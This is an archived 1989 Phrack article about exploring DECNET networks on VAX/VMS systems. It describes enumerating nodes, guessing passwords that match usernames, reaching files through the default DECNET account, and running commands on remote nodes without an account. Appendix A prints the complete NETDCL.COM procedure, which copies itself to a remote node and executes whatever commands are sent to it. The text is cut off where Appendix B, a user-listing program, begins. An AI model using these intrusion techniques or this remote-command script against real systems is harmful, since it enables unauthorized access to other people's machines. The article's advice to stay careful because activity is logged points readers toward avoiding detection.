💾 Archived View for aphrack.org › issues › phrack27 › 6.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.==
Volume Three, Issue 27, File 6 of 12
<<<<<<<<<<<<<<<<<<<<<<*>>>>>>>>>>>>>>>>>>>>>>
<<< >>>
<<< Looking Around In DECNET >>>
<<< >>>
<<< by Deep Thought of West Germany >>>
<<< >>>
<<< June 1, 1989 >>>
<<< >>>
<<<<<<<<<<<<<<<<<<<<<<*>>>>>>>>>>>>>>>>>>>>>>
Disclaimer: I take no responsibility for any use or abuse of the information
contained in this article, nor for any damage caused by the use of
methods described. DECNET, VAX, and VMS are possibly registered
trademarks of Digital Equipment Corporation.
There comes a time when every somewhat intelligent programmer asks: Is hacking
difficult? Now, being in a university network, why don't just give it a try?
Since one is an official student and somewhat authorized to use the computing
facilities, testing the modern means of communication should cause no trouble.
Well, you start searching on those nodes, you have official access for
interesting programs and procedures. And you find: Netdcl, just one program
of many, that obviously enables one to run commands on remote nodes without
having an account on these nodes. A really interesting thing, as nearly
everything is allowed that a normal user can do.
The dear reader may start to think: Wasn't there always the shouting about VMS
being the MOST SECURE computer system, making it UNPENETRABLE to hackers? Ok,
cool down, this feature can be disabled and so, you think, if someone has super
secret data on his VAX, he will stop any use or abuse of this feature.
2nd Act -- Somewhere one has heard about some mystery things called system
calls. Since one always wanted to know about how to react on keystrokes on a
VAX (really being not trivial!) you start reading the manuals more precisely to
find out how to do it in Pascal.
Randomly on browsing thru the pages you discover functions which deliver
information about Userids. This comes in handy, as a friend engaged in
university politics wants to distribute a leaflet by email to all registered
users. In fact, it's completely unproblematic to gain a list of all users. An
example program, although written in Assembler, is even contained in the
manuals. Enjoy a list of 1000 Userids complete with information about network
access rights. The Pascal program is contained in Appendix B (later in this
file).
Sorry, passwords are not stored in this list. Even the Sysop can't access
them, so that's no great loss. Guess what passwords many accounts have? Sure,
just try the username. It's really amazing how ignorant users can be. Of
course this is a problem of group-accounts, that many users have access to and
must know the password. Nevertheless, the hole is there.
The real hacker, once he has logged in on such an account surely finds ways to
gain system privilege. This requires in-depth knowledge of the Kernel of VMS
and is another story I won't deal with.
What is DECNET?
~~~~~~~~~~~~~~~
DECNET is the means, by which computers from Digital Equipment Corporation
(DEC) can be connected to each other. Each computer in this network has an
address which is normally given by x.y where x is the area number (an integer)
and y is the node number in this area which ranges from 1 to 1023. To access
DECNET nodes, one specifies just one number, which can be computed from x and y
by the following formula:
nodenumber = x * 1024 + y
Often nodes, especially local nodes (having the same area number as your
current node) have names assigned to them so they can be memorized more easily.
Interesting DECNET Commands
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To get a (first) list of available DECNET nodes, try the command
$ SHOW NET
The $ (as in the following examples) is the default prompt of VMS and should
not be entered. This Command will give you a list of (hopefully) reachable
nodes. All lines of the output contain the network address in the form x.y and
normally a name which this node is known by.
Your current node is mentioned in the first line in "VAX/VMS network status for
local node X.Y Name". In most cases you will then just see local nodes listed
and a line saying "The next hop to the nearest area router is node XX.YY".
This node contains more information about the DECNET than the node you are
currently on. If you have an account on the specified node, log on there and
try again. If not, well, play with the local nodes listed and look at the
command NCP shown later.
Now, what can you do with those nodes that were mentioned in the output?
First command is
$ SET HOST <node>
Where <node> is either a nodename or a nodenumber (see above). Thus, if SDIVAX
was listed in the SHOW NET list as 42.13, then you may try both SET HOST SDIVAX
or SET HOST 43021 (42*1024+13 = 43021). Probably you'll get that ugly
Username: prompt. You're on your own then.
Second thing you can do with DECNET is email. On VMS the MAIL program can send
mail to other users. If you and your friend both have accounts on the same
DECNET, you can send him mail if you know his nodename or nodenumber by
specifying SDIVAX::FREDDY or 43021::FREDDY.
Then there is PHONE. This is a utility to talk to another (or several) user(s)
on a DECNET. If you want to call Freddy, just type PHONE SDIVAX::FREDDY. If
he is logged in, his terminal will ring and if he answers his phone (with PHONE
ANSWER) you may chat with him. PHONE has another nice feature built in: You
may ask for a list of active users on a remote name by %DIR SDIVAX. See the
online help on PHONE for further details.
The next really mighty DECNET facility is remote file access. Valid filenames
in VMS consist of the components node, disk, directory and filename. An
example for a valid filename is SDIVAX::DISK$2:[NASA.SECRET]SDI.DOC where some
components may be omitted and default values are used instead.
File names including the node specification may be used in nearly all VMS
commands examples being DIR, TYPE and COPY. Access to the specified file is
granted, if the protection of the file allows access by world, or if the owner
of the file is the user DECNET. This pseudo userid is available on every VAX
and has the password DECNET. Access to that account is limited to network
processing so you can't just log in with Username=DECNET, password=DECNET. By
default a special directory owned by the User DECNET exists on each node. This
directory can be accessed by just specifying the nodename without any disk or
directory information, as in
$ DIR SDIVAX::
If users played too much with this feature, the directory may be protected or
otherwise disabled.
The last feature described here is the remote command processing facility. If
you try to open a file with the specification
$ SDIVAX::"task=foo.com"
Instead of opening the DCL procedure, foo.com will be executed. To make use of
this feature easily, programs have been written to interactively communicate
with a remote host. The command procedure NETDCL.COM does this task and is
contained in the Appendix A (seen later in this file. Look at this
DCL-Procedure to learn more about DECNET features.
The Key To Universal Knowledge
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There is a pearl under the programs on a VAX. It's called NCP and will give
readily information about the whole DECNET. You start this program either by
MCR NCP or by doing a SET DEF SYS$SYSTEM and RUN NCP. Use the on-line Help
provided in NCP (which means Network Control Program) to learn more.
NCP> SHOW KNOWN NODES
Provides a list of all nodes known on your current node, including the names
you may use as node specifications. But there is more: You may connect to
another node's database and get a list of nodes which are known at the remote
node with
NCP> SET EXEC SDIVAX
And then again the SHOW KNOWN NODES command. This feature should provide you
with a nearly infinite list of node names and node numbers.
Conclusion
~~~~~~~~~~
There are many nice features available under DECNET. Probably I don't know
all, but I hope this article showed you the mighty tools available on VMS to
make network life easier.
WARNING: The author has had bad experiences with some node administrators,
who didn't like their machines being contacted over DECNET. Yes,
that's the drawback, each DECNET activity is written to a protocol
file that is printed and deleted every month. So you should be
careful in using DECNET.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
APPENDIX A:
The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM
-----------------------
$ IF f$mode() .EQS. "NETWORK" THEN GOTO network
$ IF p1 .EQS. "" THEN READ/PROMPT="_Node: " sys$command p1
$ nodespec = p1 - "::"
$ nodename = f$extract(0,f$locate("""",nodespec),nodespec)
$! include the following line for "hard cases"
$! nodespec = nodespec+"""decnet decnet"""
$ ON WARNING THEN CONTINUE
$ CLOSE/ERR=open_server dcl_server
$open_server:
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"/ERROR=open_failure
$ ON WARNING THEN GOTO exit
$flush_output:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND" -
THEN GOTO send_command
$ WRITE sys$output record
$ GOTO flush_output
$send_command:
$ IF p2 .NES. "" THEN GOTO single_command
$ READ sys$command record /PROMPT="''nodename'> " /END=exit
$ record := 'record
$ IF record .EQS. "EXIT" THEN GOTO exit
$ WRITE dcl_server record
$ GOTO flush_output
$single_command:
$ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
$ WRITE dcl_server command
$single_flush:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND"-
$ THEN GOTO exit
$ WRITE sys$output record
$ GOTO single_flush
$open_failure:
$ ON WARNING THEN EXIT
$ COPY/LOG Netdcl.Com 'nodespec'::
$ WAIT 0:0:1
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"
$ ON WARNING THEN GOTO exit
$ GOTO flush_output
$exit:
$ CLOSE dcl_server
$ EXIT
$network:
$ OPEN/READ/WRITE dcl_link sys$net
$ SET NOON
$ dcl_verify = 'f$verify(0)'
$ DEFINE sys$output dcl_link:
$server_loop:
$ WRITE dcl_link "SEND_ME_A_COMMAND"
$ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit
$ 'dcl_string'
$ GOTO server_loop
$server_exit:
$ IF dcl_verify THEN set verify
$ CLOSE dcl_link
$ DEASSIGN sys$output
$ EXIT
-----------------------
APPENDIX B
ALLUSER.PAS - Show all registered users
-----------------------
{